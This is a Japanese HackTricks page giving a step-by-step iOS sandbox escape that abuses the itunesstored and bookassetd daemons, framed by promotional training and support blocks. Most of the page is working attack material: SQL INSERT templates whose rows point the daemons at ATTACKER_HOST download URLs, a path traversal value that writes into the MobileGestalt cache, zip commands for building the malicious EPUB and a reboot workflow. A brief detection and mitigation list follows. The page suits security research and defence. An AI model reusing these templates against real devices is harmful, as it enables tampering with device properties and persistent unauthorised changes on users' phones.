itunesstored & bookassetd Sandbox Escape
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
最近の調査では、プリインストールされた iOS デーモンである itunesstored(ダウンロードマネージャ)と bookassetd(Books / iBooks のアセットマネージャ)が、ユーザーが書き込み可能な SQLite メタデータを無批判に信頼していることが示されています。精巧に作成した downloads.28.sqlitedb と BLDatabaseManager.sqlite ファイル、及び最小限の EPUB アーカイブを配置することで、/var/mobile/Media/ 配下に書き込み可能な攻撃者は、これらのデーモンを強制して /private/var/ 内の大部分の mobile 所有パスへ任意のファイル書き込みを行わせることができます。これらのプリミティブは再起動後も残存し、systemgroup.com.apple.mobilegestaltcache のような system group キャッシュを改ざんしてデバイスプロパティを偽装したり、設定を永続化したりできます。
主な特徴:
- 少なくとも iOS 26.2b1 までのデバイスで動作(iPhone 12 / iOS 26.0.1 でテスト済み)。
- 書き込み可能なターゲットには
SystemGroupキャッシュ、/private/var/mobile/Library/FairPlay、/private/var/mobile/Media、およびその他のmobile所有ファイルが含まれます。root所有のファイルへの書き込みは失敗します。 - 必要なのは AFC レベルのアクセス(USB ファイルコピー)か、ターゲットの SQLite DB を置き換えペイロードをアップロードできる任意のフットホールドのみです。
脅威モデルおよび要件
/var/mobile/Media/Downloads/と/var/mobile/Media/Books/へのローカルファイルシステムアクセス(3uTools、i4.cn のような AFC クライアント、または USB 経由のafcclientなど、あるいは既存の侵害)。- 攻撃者ファイル(
BLDatabaseManager.sqlite、iTunesMetadata.plist、細工した EPUB)をホストする HTTP サーバー(例:https://ATTACKER_HOST/fileprovider.php?type=...)。 - 各デーモンがデータベースを再読み込みするためにデバイスを複数回再起動できる能力。
- Books system-group の UUID を把握しておくこと(ステージ1 の書き込みが正しいコンテナに着地するようにする。syslog から見つける)。
ステージ1 – itunesstored を介した downloads.28.sqlitedb の悪用
itunesstored は /var/mobile/Media/Downloads/downloads.28.sqlitedb を処理します。asset テーブルは URL と保存先のメタデータを保持しており、信頼された入力として扱われます。攻撃者の URL を指す行を作成し、その local_path を Books の SystemGroup 内の .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite に設定すると、itunesstored は起動時にダウンロードを行い Books データベースを攻撃者の内容で上書きします。
Books SystemGroup UUID の特定
pymobiledevice3を使って syslog アーカイブを収集します:
pymobiledevice3 syslog collect logs.logarchive
- Console.app で
logs.logarchiveを開き、bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqliteを検索します。 <UUID>を記録し、SQL ペイロード内に置き換えます。
悪意のある asset 行
ステージ1 INSERT テンプレート
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/重要なフィールド:
url: マリシャスなBLDatabaseManager.sqliteを返す攻撃者管理下のエンドポイント。local_path: 上で特定した Books system-group のBLDatabaseManager.sqliteファイル。- 制御フラグ:デーモンがタスクを受け入れるよう、デフォルトを維持(
asset_type='media'、path_extension='epub'、テンプレートのとおりブール値を0/1に設定)。
展開
- 競合を避けるため、古い
/var/mobile/Media/Downloads/*エントリを削除する。 - AFC を介して
downloads.28.sqlitedbを作成した DB と差し替える。 - Reboot →
itunesstoredが Stage 2 データベースをダウンロードし、/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plistを配置する。 - その plist を
/var/mobile/Media/Books/iTunesMetadata.plistにコピーする;Stage 2 はその場所にあることを期待する。
Stage 2 – bookassetd を介した BLDatabaseManager.sqlite の悪用
bookassetd はより広範なファイルシステム entitlements を持ち、ZBLDOWNLOADINFO テーブルを信頼します。攻撃者の URL を参照し、ZPLISTPATH に traversal を含む偽の購入行を挿入することで、デーモンは EPUB を /var/mobile/Media/Books/asset.epub にダウンロードし、後にメタデータを ../../.. エスケープシーケンスで到達可能な任意の mobile 所有パス に展開します。
悪意ある ZBLDOWNLOADINFO 行
Stage 2 INSERT テンプレート
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```重要なフィールド:
ZASSETPATH: 攻撃者が制御するオンディスクのEPUBの場所。ZURL/ZPERMLINK: EPUBと補助plistをホストする攻撃者のURL。ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– EPUBから抽出されたファイルに追加されるパストラバーサルの基点。目的のSystemGroupターゲットに到達するためにトラバーサルの深さを調整する。- 購入メタデータ(
ZSTOREIDENTIFIER、名前、タイムスタンプ)は、デーモンが行を破棄しないように正当なエントリを模倣する。
Stage 1のおかげで、悪意あるDBを /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite にコピーし、2回再起動すると、bookassetd は (1) EPUBをダウンロードし、(2) それを処理して派生したplistを書き込み、トラバースしたパスの下に配置します。
EPUBペイロードの作成
bookassetd は EPUB の ZIP 形式を尊重します: mimetype は最初の未圧縮エントリでなければなりません。EPUB の内容を MobileGestalt キャッシュにマップするには、ZPLISTPATH を基準に目的のパスを反映するディレクトリツリーを構築します。
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
アーカイブを作成する:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypeは通常リテラルapplication/epub+zipを含みます。Caches/com.apple.MobileGestalt.plistは攻撃者制御のペイロードを保持し、それが.../Library/Caches/com.apple.MobileGestalt.plistに配置されます。
オーケストレーション ワークフロー
- ファイルを準備する — 攻撃者のHTTPサーバ上にファイルを置き、ホスト/UUID固有の値を埋めた両方のSQLite DBを作成します。
downloads.28.sqlitedbを置き換える — デバイス上のdownloads.28.sqlitedbを置き換えて再起動すると、Stage 1 が悪意あるBLDatabaseManager.sqliteをダウンロードし、/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plistを出力します。iTunesMetadata.plistをコピーする —/var/mobile/Media/Books/iTunesMetadata.plistにコピーします(デーモンが削除する場合は繰り返します)。- 再起動する —
bookassetdが Stage 2 のメタデータを使ってasset.epubを/var/mobile/Media/Books/にダウンロードします。 - 3回目の再起動 —
bookassetdがダウンロードしたアセットを処理し、ZPLISTPATHに従って EPUB の内容をターゲットの SystemGroup パス(例:com.apple.MobileGestalt.plist)に書き込みます。 - 検証する — 上書きされた plist を読み取るか、MobileGestalt 由来のプロパティ(model identifier、activation flags など)が変更されていることを確認します。
同じパターンにより、FairPlay の状態や永続化ディレクトリなど、他の mobile 所有のキャッシュ配下にファイルを配置でき、カーネルエクスプロイトを必要とせずにステルスな改ざんが可能になります。
ツール & 運用ノート
pymobiledevice3 syslog collect logs.logarchive– ログアーカイブを抽出して Books の SystemGroup UUID を特定します。- Console.app –
bookassetd [Database]: Store is at ...をフィルタリングして正確なコンテナパスを復元します。 - AFC clients (
afcclient, 3uTools, i4.cn) – ジェイルブレイク不要で USB 経由で SQLite DB や plist を push/pull します。 zip– ペイロードをパッケージする際に EPUB の順序制約を強制します。- Public PoC – https://github.com/hanakim3945/bl_sbx はカスタマイズ可能なベースラインのSQLite/EPUBテンプレートを提供します。
検出 & 緩和のアイデア
downloads.28.sqlitedbとBLDatabaseManager.sqliteを信用できない入力として扱う:local_path/ZPLISTPATHが許可されたサンドボックス内に収まることを検証し、完全修飾パスやトラバーサルトークンを拒否します。- これらのデータベースを置き換える AFC 書き込みや、ブート直後に
itunesstored/bookassetdによって開始される予期しないダウンロードを監視します。 bookassetdの展開処理を強化して出力ターゲットに対してrealpath()を適用し、ファイルを書き込む前に Books コンテナの外に出られないことを確認します。- AFC / USB ファイルコピー経路を制限するか、Books/iTunes のメタデータファイル置換を許可する前にユーザ操作を要求します。
参考資料
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

